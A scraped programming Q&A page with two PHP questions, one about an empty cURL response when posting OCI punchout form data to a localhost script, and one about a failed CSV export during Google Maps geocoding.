Any ideas and help on what to do to pinpoint the issue would be welcome. Thank you in advance.

php cURL doesnt print out anything

I am trying to send a HTML form POST data with a cURL, but it seems the response is always empty. I first save all the POST data in an array, and use an implode function. When I echo out the implode string it does return the values, but after the cURL it's just empty.
This is the setup. I call this function after submitting the form
$this->OCIcURL($this->request->post);
public function OCIcURL($post) {
$data_oci = array();
$items_oci = array();
$counter = 0;
$data_oci['~caller'] = 'CTLG';
foreach ($post['item'] as $key => $value)
{
$counter++;
$data_oci['NEW_ITEM-DESCRIPTION[' . $counter . ']'] = $value;
$data_oci['NEW_ITEM-MATNR[' . $counter . ']'] = "";
$data_oci['NEW_ITEM-QUANTITY[' . $counter . ']'] = $post['amount'][$counter];
$data_oci['NEW_ITEM-UNIT[' . $counter . ']'] = "";
$data_oci['NEW_ITEM-PRICE[' . $counter . ']'] = $post['price'][$counter];
$data_oci['NEW_ITEM-CURRENCY[' . $counter . ']'] = $this->session->data['currency'];
$data_oci['NEW_ITEM-PRICEUNIT[' . $counter . ']'] = 1;
$data_oci['NEW_ITEM-LEADTIME[' . $counter . ']'] = "";
$data_oci['NEW_ITEM-VENDOR[' . $counter . ']'] = "";
$data_oci['NEW_ITEM-VENDORMAT[' . $counter . ']'] = "";
$data_oci['NEW_ITEM-MANUFACTCODE[' . $counter . ']'] = "";
$data_oci['NEW_ITEM-MANUFACTMAT[' . $counter . ']'] = "";
$data_oci['NEW_ITEM-MATGROUP[' . $counter . ']'] = "";
$data_oci['NEW_ITEM-SERVICE[' . $counter . ']'] = "";
$data_oci['NEW_ITEM-CONTRACT[' . $counter . ']'] = "";
$data_oci['NEW_ITEM-CONTRACT_ITEM[' . $counter . ']'] = "";
$data_oci['NEW_ITEM-EXT_QUOTE_ID[' . $counter . ']'] = "";
$data_oci['NEW_ITEM-EXT_QUOTE_ITEM[' . $counter . ']'] = "";
$data_oci['NEW_ITEM-EXT_PRODUCT_ID[' . $counter . ']'] = "";
$data_oci['NEW_ITEM-ATTACHMENT[' . $counter . ']'] = "";
$data_oci['NEW_ITEM-ATTACHMENT_TITLE[' . $counter . ']'] = "";
$data_oci['NEW_ITEM-ATTACHMENT_PURPOSE[' . $counter . ']'] = "";
$data_oci['NEW_ITEM-EXT_SCHEMA_TYPE[' . $counter . ']'] = "";
$data_oci['NEW_ITEM-EXT_CATEGORY_ID[' . $counter . ']'] = "";
$data_oci['NEW_ITEM-CUST_FIELD1[' . $counter . ']'] = 21;
$data_oci['NEW_ITEM-PARENT_ID[' . $counter . ']'] = "";
$data_oci['NEW_ITEM-ITEM_TYPE[' . $counter . ']'] = "";
}
foreach ($data_oci as $key => $value)
{
$items_oci[] = $key . '=' . $value;
}
$string_oci = implode('&', $items_oci);
If I echo out the $string_oci I do get a result. After this I use the cURL to send the string to a link.
$url = "http://localhost/test.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $string_oci);
curl_setopt($ch, CURLOPT_RETURNTRANSFER , 1); // RETURN THE CONTENTS OF THE CALL
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
$response = curl_exec($ch);
var_dump($response);
}
The var_dump is always empty, returning string(0) "". I also tried this on the live website, same result.
I used this piece of code to see any errors, but it seems it there arent any error at all, but the var_dump is always empty.
if (curl_exec($ch) === FALSE)
{
print_r(curl_getinfo($ch));
die("Curl error: " . curl_error($ch));
}
else
{
curl_close($ch);
}
$endpoint="http://localhost/test3.php";
$session = curl_init($endpoint);
curl_setopt($session, CURLOPT_POST, true);
curl_setopt($session, CURLOPT_HEADER, true);
curl_setopt($session, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($session, CURLOPT_POSTFIELDS, $string_oci);
curl_setopt($session, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($session);
var_dump($response);
curl_close($session);
You need a header in your curl request and your curl_init needs a url. Try the code i attach.

CSV not generated in php

We are trying to generate a CSV file using PHP. But its not generating. We gave 777 permission to the folder and gave hard coded path in header. but its not generating.
Can any body tell me whats i am doing wrong?
if ($ext === 'csv') {
if (($handle = fopen($tmpName, 'r')) !== FALSE) {
// necessary if a large csv file
set_time_limit(0);
$row = 1;
$file = fopen('ids.txt', 'w');
$num_records =count(file($tmpName));
// $calc = 100/$num_records;
$calc=100/ $num_records;
echo "Total ".$num_records." records found.<br/>";
$p = new ProgressBar();
$output = fopen("php://output",'w') or die("Can't open php://output");
header("Content-Type:application/csv");
header("Content-Disposition:attachment;filename=pressurecsv.csv");
while ((($data = fgetcsv($handle, 1000, ',')) !== FALSE) && $row != 30) {
// number of fields in the csv
$address = implode(",", $data);
$p->setProgressBarProgress($x);
usleep(1000000*0.1);
$cityclean = str_replace(" ", "+", $address);
$details_url = "https://maps.googleapis.com/maps/api/geocode/json?address=" . $cityclean . "&sensor=false&key=".$api_array[$api_key_status];
// echo $details_url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $details_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$geoloc = json_decode(curl_exec($ch), true);
// print_r($geoloc);
if ( $geoloc['status'] === "OVER_QUERY_LIMIT" )
{
echo "OVER QUERY LIMIT. Using another key.";
$api_key_status++;
}
//print_r(address_reformat($geoloc['results'][0]));
//convert_to_csv(address_reformat($geoloc['results'][0]), 'report.csv', ',');
$address_tmp=address_reformat($geoloc['results'][0]);
if(isset($geoloc['results'][0]['geometry']['location']['lat']))
// foreach($address_tmp as $product)
{
//print_r($address_tmp);
fputcsv($output, $address_tmp);
}
$lat = $geoloc['results'][0]['geometry']['location']['lat'];
$lng = $geoloc['results'][0]['geometry']['location']['lng'];
// echo $address . "------Latitude: " . $lat . " ---- Longitude: " . $lng;
fwrite($file, $address . "; " . $lat . " ; " . $lng . "\n");
// echo $row." address coordinate fetched.";
$p->getContent();
// echo $address;
echo "<br/>";
// echo $details_url;
$x += $calc;
//$x++;
$row++;
}
$p->setProgressBarProgress(100);
fclose($file);
fclose($handle);
fclose($output) or die("Can't close php://output");
echo "\n To download generated file <a href='ids.txt'>Click Here</a> . \n";
echo " <iframe src='data.php' height='100%' width='100%' frameBorder='0'></iframe>";
}
}
}

Categories